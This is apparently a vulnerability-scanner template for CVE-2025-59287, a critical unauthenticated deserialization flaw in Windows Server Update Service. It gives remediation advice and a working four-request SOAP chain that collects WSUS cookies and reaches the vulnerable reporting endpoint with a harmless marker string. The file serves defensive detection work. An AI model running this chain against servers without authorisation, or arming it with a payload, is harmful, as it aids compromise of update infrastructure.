Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.
id: CVE-2025-59287
info:
name: Windows Server Update Service - Insecure Deserialization
author: pussycat0x,princechaddha
severity: critical
description: |
Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.
impact: |
Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code remotely on Windows Server Update Service systems, achieving complete server compromise.
remediation: |
Apply the Microsoft security patches as described in the MSRC update guide for Windows Server Update Service and restrict network access to WSUS endpoints.
reference:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
- https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
- https://hawktrace.com/blog/CVE-2025-59287
- https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287
- https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-59287
cwe-id: CWE-502
epss-score: 0.9998
epss-percentile: 0.99981
cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: microsoft
product: windows_server_update_service
shodan-query: cpe:"cpe:2.3:o:microsoft:windows_server_2012"
tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce,vuln
variables:
domain: "{{rand_text_alphanumeric(5)}}.local"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"
Content-Type: text/xml
Content-Length: 331
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "RollupResetGuid")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
name: ServerId
group: 1
regex:
- '<ServerId>(.*)</ServerId>'
internal: true
- raw:
- |
POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1
Host: {{Hostname}}
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"
Content-Type: text/xml
Content-Length: 413
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{{ServerId}}</clientId>
<targetGroupName></targetGroupName>
<dnsName>{{domain}}</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "CookieData")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
name: cookie
group: 1
regex:
- '<CookieData>(.*)</CookieData>'
internal: true
- raw:
- |
POST /ClientWebService/Client.asmx HTTP/1.1
Host: {{Hostname}}
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Type: text/xml
Content-Length: 413
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{{cookie}}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</lastChange>
<currentTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "GetCookieResult")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: EncryptedData
regex:
- <EncryptedData>(.*)</EncryptedData>
internal: true
- raw:
- |
POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
Host: {{Hostname}}
Accept: text/xml
Connection: keep-alive
Content-Type: text/xml
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"
Content-Length: 4464
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</Expiration>
<EncryptedData>{{EncryptedData}}</EncryptedData>
</cookie>
<clientTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>
<EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>{{randstr}}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(body, "ReportEventBatchResult>true</ReportEventBatchResult>")'
- 'contains(header, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100f5bdc4f1fd675b8dd3f1d7e18cfccf3e79bcbdb491008538e366d4866bad2531022020e5dadbcac797beaa85485e27b512c45fd6576644276a5f8b4e7c23a9191196:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.